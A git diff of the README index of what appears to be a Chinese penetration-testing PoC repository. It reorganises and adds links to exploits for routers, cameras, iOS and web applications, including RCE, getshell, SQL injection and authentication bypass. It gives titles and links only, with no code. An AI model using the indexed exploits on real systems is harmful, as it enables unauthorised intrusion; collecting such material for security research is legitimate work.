diff --git a/BlueKeep/requirements.txt b/BlueKeep/requirements.txt deleted file mode 100644 index 5be82196a..000000000 --- a/BlueKeep/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -pyopenssl==19.0 \ No newline at end of file diff --git a/README.md b/README.md index 3e30c4b09..d1f8f929e 100644 --- a/README.md +++ b/README.md @@ -4,50 +4,51 @@ **请注意所有工具是否有后门或者其他异常行为,建议均在虚拟环境操作。** -- [ Penetration_Testing_POC](#head1) -- [ 请善用搜索[`Ctrl+F`]查找](#head2) +- [Penetration_Testing_POC](#head1) +- [请善用搜索[`Ctrl+F`]查找](#head2) - [IOT Device&Mobile Phone](#head3) - [Web APP](#head4) -- [ 提权辅助相关](#head5) -- [ PC](#head6) -- [ tools-小工具集合](#head7) -- [ 文章/书籍/教程相关](#head8) -- [ 说明](#head9) +- [提权辅助相关](#head5) +- [PC](#head6) +- [tools-小工具集合](#head7) +- [文章/书籍/教程相关](#head8) +- [说明](#head9) ## 请善用搜索[`Ctrl+F`]查找 ## IOT Device&Mobile Phone -- [天翼创维awifi路由器存在多处未授权访问漏洞](天翼创维awifi路由器存在多处未授权访问漏洞.md) -- [华为WS331a产品管理页面存在CSRF漏洞](华为WS331a产品管理页面存在CSRF漏洞.md) -- [CVE-2019-16313 蜂网互联企业级路由器v4.31密码泄露漏洞](./CVE-2019-16313%20蜂网互联企业级路由器v4.31密码泄露漏洞.md) -- [D-Link路由器RCE漏洞](./CVE-2019-16920-D-Link-rce.md) -- [CVE-2019-13051-Pi-Hole路由端去广告软件的命令注入&权限提升](./CVE-2019-13051) +- [天翼创维awifi路由器存在多处未授权访问漏洞](./iot/天翼创维awifi路由器存在多处未授权访问漏洞.md) +- [华为WS331a产品管理页面存在CSRF漏洞](./iot/华为WS331a产品管理页面存在CSRF漏洞.md) +- [CVE-2019-16313 蜂网互联企业级路由器v4.31密码泄露漏洞](./iot/CVE-2019-16313%20蜂网互联企业级路由器v4.31密码泄露漏洞.md) +- [D-Link路由器RCE漏洞](./iot/CVE-2019-16920-D-Link-rce.md) +- [CVE-2019-13051-Pi-Hole路由端去广告软件的命令注入&权限提升](./vuln_pocs/cve/CVE-2019-13051) - [D-Link DIR-859 - RCE UnAutenticated (CVE-2019–17621)](https://github.com/s1kr10s/D-Link-DIR-859-RCE) - [Huawei HG255 Directory Traversal[目录穿越]](https://packetstormsecurity.com/files/155954/huaweihg255-traversal.rb.txt)|[本地备份文件](./tools/huaweihg255-traversal.rb) -- [D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit)CVE-2019-20215(Metasploit)](./POC_Details/D-Link%20Devices%20-%20Unauthenticated%20Remote%20Command%20Execution%20in%20ssdpcgi%20(Metasploit)%20CVE-2019-20215.rb) +- [D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit)CVE-2019-20215(Metasploit)](./POC_Details/D-Link%20Devices%20-%20Unauthenticated%20Remote%20Command%20Execution%20in%20ssdgi%20(Metasploit)%20CVE-2019-20215.rb) - [从 Interfaces.d 到 RCE:Mozilla WebThings IoT 网关漏洞挖掘](https://research.nccgroup.com/2020/02/10/interfaces-d-to-rce/) - [小米系列路由器远程命令执行漏洞(CVE-2019-18370,CVE-2019-18371)](https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/report/report.md) - [Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload-未经验证即可替换固件)](https://www.exploit-db.com/exploits/48158) - [cve-2020-8634&cve-2020-8635](https://www.exploit-db.com/exploits/48160)|[Wing FTP Server 6.2.3权限提升漏洞发现分析复现过程](https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php)|[Wing FTP Server 6.2.5权限提升](https://www.exploit-db.com/exploits/48154) -- [CVE-2020-9374-TP LINK TL-WR849N - RCE](./CVE-2020-9374.md) +- [CVE-2020-9374-TP LINK TL-WR849N - RCE](./iot/CVE-2020-9374.md) - [CVE-2020-12753-LG 智能手机任意代码执行漏洞](https://github.com/shinyquagsire23/CVE-2020-12753-PoC) - [CVE-2020-12695-UPnP 安全漏洞](https://github.com/yunuscadirci/CallStranger) - [79款 Netgear 路由器遭远程接管0day](https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.06.15-netgear/exploit.py) - [dlink-dir610-exploits-Exploits for CVE-2020-9376 and CVE-2020-9377](https://github.com/renatoalencar/dlink-dir610-exploits) - [wacker:一组脚本,可辅助对WPA3接入点执行在线词典攻击](https://github.com/blunderbuss-wctf/wacker) - [CVE-2020-24581 D-Link DSL-2888A 远程命令执行漏洞分析](./books/CVE-2020-24581%20D-Link%20DSL-2888A%20远程命令执行漏洞分析.pdf)-[原地址](https://www.anquanke.com/post/id/229323) -- [CNVD-2021-14536_锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞](./CNVD-2021-14536_锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞.md) +- [CNVD-2021-14536_锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞](./iot/CNVD-2021-14536_锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞.md) - [CNVD-2021-14544:Hikvision 海康威视流媒体管理服务器任意文件读取](https://github.com/Henry4E36/Hikvision) - [CNVD-2020-25078:D-link 敏感信息泄漏,可以直接获取账户密码查看监控](https://github.com/Henry4E36/D-link-information) - [ios-gamed-0day](https://github.com/illusionofchaos/ios-gamed-0day) - [ios-nehelper-wifi-info-0day](https://github.com/illusionofchaos/ios-nehelper-wifi-info-0day) - [ios-nehelper-enum-apps-0day](https://github.com/illusionofchaos/ios-nehelper-enum-apps-0day) - [iOS 15.0.1 RCE PoC](https://github.com/jonathandata1/ios_15_rce) +- [DarkSword-RCE:Apple iOS 远程代码执行漏洞利用](https://github.com/htimesnine/DarkSword-RCE)|[darksword-kexploit:Apple iOS 内核漏洞利用](https://github.com/opa334/darksword-kexploit)|[DarkSword:Apple iOS 漏洞利用](https://github.com/ghh-jb/DarkSword) - [CVE-2021-36260:海康威视产品命令注入漏洞](https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html) - [CVE-2021-33044、CVE-2021-33045 大华摄像头POC](https://github.com/mcw0/DahuaConsole)|[相关分析](https://github.com/mcw0/PoC/blob/master/Dahua%20authentication%20bypass.txt)|[登录绕过chrome 插件](https://github.com/bp2008/DahuaLoginBypass) - [CVE-2021-36260:海康威视命令注入漏洞](https://github.com/rabbitsafe/CVE-2021-36260)|[又一个CVE-2021-36260利用脚本](https://github.com/Cuerz/CVE-2021-36260) -- [CVE-2021-41653:TP-Link TL-WR840N V5(EU) - RCE ](./books/TP-Link%20TL-WR840N%20V5(EU)%20-%20RCE%20-%20CVE-2021-41653.pdf) +- [CVE-2021-41653:TP-Link TL-WR840N V5(EU) - RCE](./books/TP-Link%20TL-WR840N%20V5(EU)%20-%20RCE%20-%20CVE-2021-41653.pdf) - [DirtyPipe-Android:Dirty Pipe root exploit for Android](https://github.com/polygraphene/DirtyPipe-Android) - [CVE-2022-30075:Tp-Link Archer AX50 Authenticated RCE](https://github.com/aaronsvk/CVE-2022-30075) - [NotQuite0day:D-Link 1960相关漏洞](https://github.com/star-sg/NotQuite0day) @@ -59,7 +60,7 @@ - [IOT_vuln:IOT相关漏洞仓库](https://github.com/EPhaha/IOT_vuln) - [hikvision_CVE-2017-7921_auth_bypass_config_decryptor:解密受CVE-2017-7921影响的海康威视的配置文件](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) - [CVE-2022-20866:思科自适应安全设备软件和 Firepower 威胁防御软件 RSA 私钥泄漏检查](https://github.com/CiscoPSIRT/CVE-2022-20866) -- [WLAN-AP-WEA453e RCE:三星路由器远程命令执行漏洞](./WLAN-AP-WEA453e%20RCE三星路由器远程命令执行漏洞.md) +- [WLAN-AP-WEA453e RCE:三星路由器远程命令执行漏洞](./iot/WLAN-AP-WEA453e%20RCE三星路由器远程命令执行漏洞.md) - [Buffer overflow in Xiongmai DVRs](https://blog.ret2.me/post/2022-01-26-exploiting-xiongmai-dvrs/)|[备份](https://web.archive.org/web/20221129205148/https://blog.ret2.me/post/2022-01-26-exploiting-xiongmai-dvrs/) - [CVE-2023-27350: PaperCut NG身份验证绕过导致的RCE](https://github.com/horizon3ai/CVE-2023-27350) - [ivms-8700-0day-poc: 海康威视iVMS-8700综合安防管理平台任意文件上传漏洞](https://github.com/spmonkey/ivms-8700-0day-poc) @@ -80,90 +81,99 @@ - [从jhttpd分析到系统命令注入(CVE-2021-46227-D-Link Di-7200G 命令注入漏洞)](./books/从jhttpd分析到系统命令注入(CVE-2021-46227-D-Link%20Di-7200G%20命令注入漏洞).html) - [2024 RWCTF群晖 BC500摄像头RCE--未授权_栈溢出](./books/2024%20RWCTF群晖%20BC500摄像头RCE--未授权_栈溢出.html) - [路由器dd手动提取固件---迅捷PoEAC路由一体机FR100P-AC固件提取](./books/路由器dd手动提取固件---迅捷PoEAC路由一体机FR100P-AC固件提取.html) +- [NX_Firmware:任天堂Switch各版本固件数据库](https://github.com/THZoria/NX_Firmware) +- [vphone-aio:一键运行已越狱并安装完整bootstrap的iOS虚拟手机(vphone)脚本](https://github.com/34306/vphone-aio) +- [AssppJailbroken:一款用于解密从 App Store 下载的最新 IPA 文件的工具,并支持在已越狱的 iOS 设备及 iPhone 模拟器上运行](https://github.com/lbr77/AssppJailbroken) +- [FirmWire:支持三星 Shannon 和 MediaTek 基带固件的全系统动态分析平台,可用于模糊测试、漏洞根因分析与调试](https://github.com/FirmWire/FirmWire) +- [Podroid:无需 root 即可在 Android 手机上运行 Linux 容器,基于 QEMU 启动 Alpine Linux 虚拟机并提供完整的 Podman 容器运行时](https://github.com/ExTV/Podroid) +- [PrismSpace:基于 Android 工作资料(managed profile)的应用双开管理器](https://github.com/yzddmr6/PrismSpace) +- [Tsec-Salon:腾讯安全沙龙历届活动材料](https://github.com/Yeti-791/Tsec-Salon)|[BLACKHAT_Asia2026: Black Hat Asia 2026 议题资料汇总](https://github.com/Mr-xn/BLACKHAT_Asia2026)|[Java Ghost Bits - Black Hat Asia 2026 演讲PDF(幽灵比特位:高位截断)](https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf)|[GBitsTools: Ghost Bits攻击工具(Python GUI/CLI)](https://github.com/shiyeshu/GBitsTools)|[GbitsGen: Ghost Bits字符生成工具](https://github.com/qi4L/GbitsGen)|[ghost-bits-lab: Ghost Bits交互式安全实验靶机(Java)](https://github.com/Xc1Ym/ghost-bits-lab) +- [CVE-2026-34908-check:UniFi OS Server 身份验证绕过与未授权远程代码执行(RCE)检测工具](https://github.com/BishopFox/CVE-2026-34908-check) | [相关技术分析:Popping Root on UniFi OS Server](https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysis) ## Web APP -- [致远OA_A8_getshell_0day](致远OA_A8_getshell_0day.md) -- [Couch through 2.0存在路径泄露漏洞 ](Couch%20through%202.0存在路径泄露漏洞.md) -- [Cobub Razor 0.7.2存在跨站请求伪造漏洞](Cobub%20Razor%200.7.2存在跨站请求伪造漏洞.md) -- [joyplus-cms 1.6.0存在CSRF漏洞可增加管理员账户](joyplus-cms%201.6.0存在CSRF漏洞可增加管理员账户.md) -- [MiniCMS 1.10存在CSRF漏洞可增加管理员账户](MiniCMS%201.10存在CSRF漏洞可增加管理员账户.md) -- [Z-Blog 1.5.1.1740存在XSS漏洞](Z-Blog%201.5.1.1740存在XSS漏洞.md) -- [YzmCMS 3.6存在XSS漏洞](YzmCMS%203.6存在XSS漏洞.md) -- [Cobub Razor 0.7.2越权增加管理员账户](Cobub%20Razor%200.7.2越权增加管理员账户.md) -- [Cobub Razor 0.8.0存在SQL注入漏洞](Cobub%20Razor%200.8.0存在SQL注入漏洞.md) -- [Cobub Razor 0.8.0存在物理路径泄露漏洞](Cobub%20Razor%200.8.0存在物理路径泄露漏洞.md) -- [五指CMS 4.1.0存在CSRF漏洞可增加管理员账户](五指CMS%204.1.0存在CSRF漏洞可增加管理员账户.md) -- [DomainMod的XSS集合](DomainMod的XSS集合.md) -- [GreenCMS v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户](GreenCMS%20v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户.md) -- [yii2-statemachine v2.x.x存在XSS漏洞](yii2-statemachine%20v2.x.x存在XSS漏洞.md) -- [maccms_v10存在CSRF漏洞可增加任意账号](maccms_v10存在CSRF漏洞可增加任意账号.md) -- [LFCMS 3.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户](LFCMS%203.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户.md) -- [Finecms_v5.4存在CSRF漏洞可修改管理员账户密码](Finecms_v5.4存在CSRF漏洞可修改管理员账户密码.md) +- [致远OA_A8_getshell_0day](./web/致远OA_A8_getshell_0day.md) +- [Couch through 2.0存在路径泄露漏洞](./web/Couch%20through%202.0存在路径泄露漏洞.md) +- [Cobub Razor 0.7.2存在跨站请求伪造漏洞](./web/Cobub%20Razor%200.7.2存在跨站请求伪造漏洞.md) +- [joyplus-cms 1.6.0存在CSRF漏洞可增加管理员账户](./web/joyplus-cms%201.6.0存在CSRF漏洞可增加管理员账户.md) +- [MiniCMS 1.10存在CSRF漏洞可增加管理员账户](./web/MiniCMS%201.10存在CSRF漏洞可增加管理员账户.md) +- [Z-Blog 1.5.1.1740存在XSS漏洞](./web/Z-Blog%201.5.1.1740存在XSS漏洞.md) +- [YzmCMS 3.6存在XSS漏洞](./web/YzmCMS%203.6存在XSS漏洞.md) +- [Cobub Razor 0.7.2越权增加管理员账户](./web/Cobub%20Razor%200.7.2越权增加管理员账户.md) +- [Cobub Razor 0.8.0存在SQL注入漏洞](./web/Cobub%20Razor%200.8.0存在SQL注入漏洞.md) +- [Cobub Razor 0.8.0存在物理路径泄露漏洞](./web/Cobub%20Razor%200.8.0存在物理路径泄露漏洞.md) +- [五指CMS 4.1.0存在CSRF漏洞可增加管理员账户](./web/五指CMS%204.1.0存在CSRF漏洞可增加管理员账户.md) +- [DomainMod的XSS集合](./web/DomainMod的XSS集合.md) +- [GreenCMS v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户](./web/GreenCMS%20v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户.md) +- [yii2-statemachine v2.x.x存在XSS漏洞](./web/yii2-statemachine%20v2.x.x存在XSS漏洞.md) +- [maccms_v10存在CSRF漏洞可增加任意账号](./web/maccms_v10存在CSRF漏洞可增加任意账号.md) +- [LFCMS 3.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户](./web/LFCMS%203.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户.md) +- [Finecms_v5.4存在CSRF漏洞可修改管理员账户密码](./web/Finecms_v5.4存在CSRF漏洞可修改管理员账户密码.md) - [Amazon Kindle Fire HD (3rd Generation)内核驱动拒绝服务漏洞](Amazon%20Kindle%20Fire%20HD%20\(3rd%20Generation\)内核驱动拒绝服务漏洞.md) -- [Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞](Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞.md) -- [Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号](Hucart%20cms%20v5.7.4%20CSRF漏洞可任意增加管理员账号.md) -- [indexhibit cms v2.1.5 直接编辑php文件getshell](indexhibit%20cms%20v2.1.5%20直接编辑php文件getshell.md) -- [S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号](S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号.md) -- [S-CMS PHP v3.0存在SQL注入漏洞](S-CMS%20PHP%20v3.0存在SQL注入漏洞.md) -- [MetInfoCMS 5.X版本GETSHELL漏洞合集](MetInfoCMS%205.X版本GETSHELL漏洞合集.md) +- [Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞](./web/Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞.md) +- [Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号](./web/Hucart%20cms%20v5.7.4%20CSRF漏洞可任意增加管理员账号.md) +- [indexhibit cms v2.1.5 直接编辑php文件getshell](./web/indexhibit%20cms%20v2.1.5%20直接编辑php文件getshell.md) +- [S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号](./web/S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号.md) +- [S-CMS PHP v3.0存在SQL注入漏洞](./web/S-CMS%20PHP%20v3.0存在SQL注入漏洞.md) +- [MetInfoCMS 5.X版本GETSHELL漏洞合集](./web/MetInfoCMS%205.X版本GETSHELL漏洞合集.md) - [MetInfo7.5.0代码审计(后台SQL注入+md5弱类型比较).pdf](./books/MetInfo7.5.0代码审计(后台SQL注入+md5弱类型比较).pdf) -- [discuz ml RCE 漏洞检测工具](discuz-ml-rce/README.md) -- [thinkphp5框架缺陷导致远程代码执行](thinkphp5框架缺陷导致远程代码执行.md) -- [FineCMS_v5.0.8两处getshell](FineCMS_v5.0.8两处getshell.md) -- [Struts2_045漏洞批量检测|搜索引擎采集扫描](Struts2_045-Poc) -- [thinkphp5命令执行](thinkphp5命令执行.md) -- [typecho反序列化漏洞](typecho反序列化漏洞.md) -- [CVE-2019-10173 Xstream 1.4.10版本远程代码执行](CVE-2019-10173%20Xstream%201.4.10版本远程代码执行漏洞.md) +- [discuz ml RCE 漏洞检测工具](vuln_pocs/exploit-tools/discuz-ml-rce/README.md) +- [thinkphp5框架缺陷导致远程代码执行](./web/thinkphp5框架缺陷导致远程代码执行.md) +- [FineCMS_v5.0.8两处getshell](./web/FineCMS_v5.0.8两处getshell.md) +- [Struts2_045漏洞批量检测|搜索引擎采集扫描](vuln_pocs/exploit-tools/Struts2_045-Poc) +- [thinkphp5命令执行](./web/thinkphp5命令执行.md) +- [typecho反序列化漏洞](./web/typecho反序列化漏洞.md) +- [CVE-2019-10173 Xstream 1.4.10版本远程代码执行](./web/CVE-2019-10173%20Xstream%201.4.10版本远程代码执行漏洞.md) - [IIS/CVE-2017-7269-Echo-PoC](./IIS/CVE-2017-7269-Echo-PoC) -- [CVE-2019-15107 Webmin RCE](./CVE-2019-15107) -- [thinkphp5 rce漏洞检测工具](./tp5-getshell) -- [thinkphp5_RCE合集](./tp5-getshell/TP5_RCE合集.md) -- [thinkphp3.X-thinkphp5.x](./tp5-getshell/ThinkPHP.md) +- [CVE-2019-15107 Webmin RCE](./vuln_pocs/cve/CVE-2019-15107) +- [thinkphp5 rce漏洞检测工具](./vuln_pocs/exploit-tools/tp5-getshell) +- [thinkphp5_RCE合集](./vuln_pocs/exploit-tools/tp5-getshell/TP5_RCE合集.md) +- [thinkphp3.X-thinkphp5.x](./vuln_pocs/exploit-tools/tp5-getshell/ThinkPHP.md) - [关于ThinkPHP框架的历史漏洞分析集合](https://github.com/Mochazz/ThinkPHP-Vuln) -- [CVE-2019-11510](./CVE-2019-11510) -- [Redis(<=5.0.5) RCE](./redis-rogue-server) +- [CVE-2019-11510](./vuln_pocs/cve/CVE-2019-11510) +- [Redis(<=5.0.5) RCE](./vuln_pocs/exploit-tools/redis-rogue-server) - [Redis 4.x/5.x RCE(主从复制导致RCE)](https://github.com/Ridter/redis-rce) - [生成Redis恶意模块so文件配合主从复制RCE达到命令执行](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)|[相关文章](https://www.freebuf.com/vuls/224235.html) - [RedisWriteFile-通过 `Redis` 主从写出无损文件,可用于 `Windows` 平台下写出无损的 `EXE`、`DLL`、 `LNK` 和 `Linux` 下的 `OS` 等二进制文件](https://github.com/r35tart/RedisWriteFile) -- [WeblogicScanLot系列,Weblogic漏洞批量检测工具](./WeblogicScanLot) -- [jboss_CVE-2017-12149](./jboss_CVE-2017-12149) -- [Wordpress的拒绝服务(DoS)-CVE-2018-6389](./CVE-2018-6389) +- [WeblogicScanLot系列,Weblogic漏洞批量检测工具](./vuln_pocs/exploit-tools/WeblogicScanLot) +- [TongWeb EJB 利用与插件工具](https://github.com/Axyanzzzz/TongWebEJBExploit) | [TongwebPlugin](https://github.com/Gary-yang1/TongwebPlugin) +- [jboss_CVE-2017-12149](./vuln_pocs/exploit-tools/jboss_CVE-2017-12149) +- [Wordpress的拒绝服务(DoS)-CVE-2018-6389](./vuln_pocs/cve/CVE-2018-6389) - [Webmin Remote Code Execution (authenticated)-CVE-2019-15642](https://github.com/jas502n/CVE-2019-15642) -- [CVE-2019-16131 OKLite v1.2.25 任意文件上传漏洞](./CVE-2019-16131%20OKLite%20v1.2.25%20任意文件上传漏洞.md) -- [CVE-2019-16132 OKLite v1.2.25 存在任意文件删除漏洞](./CVE-2019-16132%20OKLite%20v1.2.25%20存在任意文件删除漏洞.md) -- [CVE-2019-16309 FlameCMS 3.3.5 后台登录处存在sql注入漏洞](./CVE-2019-16309%20FlameCMS%203.3.5%20后台登录处存在sql注入漏洞.md) -- [CVE-2019-16314 indexhibit cms v2.1.5 存在重装并导致getshell](./CVE-2019-16314%20indexhibit%20cms%20v2.1.5%20存在重装并导致getshell.md) -- [泛微OA管理系统RCE漏洞利用脚本](./泛微OA管理系统RCE漏洞利用脚本.md) -- [CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit](./CVE-2019-16759%20vBulletin%205.x%200day%20pre-auth%20RCE%20exploit.md) -- [zentao-getshell 禅道8.2 - 9.2.1前台Getshell](./zentao-getshell) -- [泛微 e-cology OA 前台SQL注入漏洞](./泛微%20e-cology%20OA%20前台SQL注入漏洞.md) -- [Joomla-3.4.6-RCE](./Joomla-3.4.6-RCE.md) -- [Easy File Sharing Web Server 7.2 - GET 缓冲区溢出 (SEH)](./Easy%20File%20Sharing%20Web%20Server%207.2%20-%20GET%20缓冲区溢出%20(SEH).md) -- [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./构建ASMX绕过限制WAF达到命令执行.md) -- [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md) -- [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md) -- [CVE-2019-11043-PHP远程代码执行漏](./CVE-2019-11043) -- [ThinkCMF漏洞全集和](./ThinkCMF漏洞全集和.md) -- [CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行](./CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行.md) +- [CVE-2019-16131 OKLite v1.2.25 任意文件上传漏洞](./web/CVE-2019-16131%20OKLite%20v1.2.25%20任意文件上传漏洞.md) +- [CVE-2019-16132 OKLite v1.2.25 存在任意文件删除漏洞](./web/CVE-2019-16132%20OKLite%20v1.2.25%20存在任意文件删除漏洞.md) +- [CVE-2019-16309 FlameCMS 3.3.5 后台登录处存在sql注入漏洞](./web/CVE-2019-16309%20FlameCMS%203.3.5%20后台登录处存在sql注入漏洞.md) +- [CVE-2019-16314 indexhibit cms v2.1.5 存在重装并导致getshell](./web/CVE-2019-16314%20indexhibit%20cms%20v2.1.5%20存在重装并导致getshell.md) +- [泛微OA管理系统RCE漏洞利用脚本](./web/泛微OA管理系统RCE漏洞利用脚本.md) +- [CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit](./web/CVE-2019-16759%20vBulletin%205.x%200day%20pre-auth%20RCE%20exploit.md) +- [zentao-getshell 禅道8.2 - 9.2.1前台Getshell](./vuln_pocs/exploit-tools/zentao-getshell) +- [泛微 e-cology OA 前台SQL注入漏洞](./web/泛微%20e-cology%20OA%20前台SQL注入漏洞.md) +- [Joomla-3.4.6-RCE](./web/Joomla-3.4.6-RCE.md) +- [Easy File Sharing Web Server 7.2 - GET 缓冲区溢出 (SEH)](./web/Easy%20File%20Sharing%20Web%20Server%207.2%20-%20GET%20缓冲区溢出%20(SEH).md) +- [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./web/构建ASMX绕过限制WAF达到命令执行.md) +- [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./web/CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md) +- [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./web/CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md) +- [CVE-2019-11043-PHP远程代码执行漏](./vuln_pocs/cve/CVE-2019-11043) +- [ThinkCMF漏洞全集和](./web/ThinkCMF漏洞全集和.md) +- [CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行](./web/CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行.md) - [ecologyExp.jar-泛微ecology OA系统数据库配置文件读取](./tools/ecologyExp.jar) -- [freeFTP1.0.8-'PASS'远程缓冲区溢出](./freeFTP1.0.8-'PASS'远程缓冲区溢出.md) -- [rConfig v3.9.2 RCE漏洞](./rConfig%20v3.9.2%20RCE漏洞.md) -- [apache_solr_rce](./solr_rce.md) -- [CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行](CVE-2019-7580%20thinkcmf-5.0.190111后台任意文件写入导致的代码执行.md) +- [freeFTP1.0.8-'PASS'远程缓冲区溢出](./web/freeFTP1.0.8-'PASS'远程缓冲区溢出.md) +- [rConfig v3.9.2 RCE漏洞](./web/rConfig%20v3.9.2%20RCE漏洞.md) +- [apache_solr_rce](./web/solr_rce.md) +- [CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行](./web/CVE-2019-7580%20thinkcmf-5.0.190111后台任意文件写入导致的代码执行.md) - [Apache Flink任意Jar包上传导致远程代码执行](https://github.com/LandGrey/flink-unauth-rce) - [Jwt_Tool - 用于验证、伪造、扫描和篡改 JWT(JSON Web 令牌)](https://github.com/ticarpi/jwt_tool) -- [cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC](cve-2019-17424%20nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC.md) +- [cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC](./web/cve-2019-17424%20nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC.md) - [CVE-2019-12409_Apache_Solr RCE](https://github.com/jas502n/CVE-2019-12409) - [Shiro RCE (Padding Oracle Attack)](https://github.com/wuppp/shiro_rce_exp) - [CVE-2019-19634-class.upload.php <= 2.0.4任意文件上传](https://github.com/jra89/CVE-2019-19634) -- [Apache Solr RCE via Velocity Template Injection](./Apache%20Solr%20RCE%20via%20Velocity%20Template%20Injection.md) -- [CVE-2019-10758-mongo-express before 0.54.0 is vulnerable to Remote Code Execution ](https://github.com/masahiro331/CVE-2019-10758/) +- [Apache Solr RCE via Velocity Template Injection](./web/Apache%20Solr%20RCE%20via%20Velocity%20Template%20Injection.md) +- [CVE-2019-10758-mongo-express before 0.54.0 is vulnerable to Remote Code Execution](https://github.com/masahiro331/CVE-2019-10758/) - [CVE-2019-2107-Android播放视频-RCE-POC(Android 7.0版本,7.1.1版本,7.1.2版本,8.0版本,8.1版本,9.0版本)](https://github.com/marcinguy/CVE-2019-2107) - [CVE-2019-19844-Django重置密码漏洞(受影响版本:Django master branch,Django 3.0,Django 2.2,Django 1.11)](https://github.com/ryu22e/django_cve_2019_19844_poc/) - [CVE-2019-17556-unsafe-deserialization-in-apache-olingo(Apache Olingo反序列化漏洞,影响: 4.0.0版本至4.6.0版本)](https://medium.com/bugbountywriteup/cve-2019-17556-unsafe-deserialization-in-apache-olingo-8ebb41b66817) -- [ZZCMS201910 SQL Injections](./ZZCMS201910%20SQL%20Injections.md)|[ZZCMS201910代码审计](./books/ZZCMS201910代码审计.pdf) -- [WDJACMS1.5.2模板注入漏洞](./WDJACMS1.5.2模板注入漏洞.md) +- [ZZCMS201910 SQL Injections](./web/ZZCMS201910%20SQL%20Injections.md)|[ZZCMS201910代码审计](./books/ZZCMS201910代码审计.pdf) +- [WDJACMS1.5.2模板注入漏洞](./web/WDJACMS1.5.2模板注入漏洞.md) - [CVE-2019-19781-Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway](https://github.com/projectzeroindia/CVE-2019-19781) - [CVE-2019-19781.nse---use Nmap check Citrix ADC Remote Code Execution](https://github.com/cyberstruggle/DeltaGroup/tree/master/CVE-2019-19781) - [Mysql Client 任意文件读取攻击链拓展](https://paper.seebug.org/1112/) @@ -178,35 +188,35 @@ - [ThinkPHP 6.x反序列化POP链(二)](./books/ThinkPHP%206.x反序列化POP链(二).pdf)|[原文链接](https://mp.weixin.qq.com/s/q8Xa3triuXEB3NoeOgka1g) - [ThinkPHP 6.x反序列化POP链(三)](./books/ThinkPHP%206.x反序列化POP链(三).pdf)|[原文链接](https://mp.weixin.qq.com/s/PFNt3yF0boE5lR2KofghBg) - [WordPress InfiniteWP - Client Authentication Bypass (Metasploit)](https://www.exploit-db.com/exploits/48047) -- [【Linux提权/RCE】OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution](https://www.exploit-db.com/exploits/48051) +- [【Linux/RCE】OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution](https://www.exploit-db.com/exploits/48051) - [CVE-2020-7471-django1.11-1.11.282.2-2.2.103.0-3.0.3 StringAgg(delimiter)使用了不安全的数据会造成SQL注入漏洞环境和POC](https://github.com/Saferman/CVE-2020-7471) - [CVE-2019-17564 : Apache Dubbo反序列化漏洞](https://www.anquanke.com/post/id/198747) - [CVE-2019-2725(CNVD-C-2019-48814、WebLogic wls9-async)](https://github.com/lufeirider/CVE-2019-2725) - 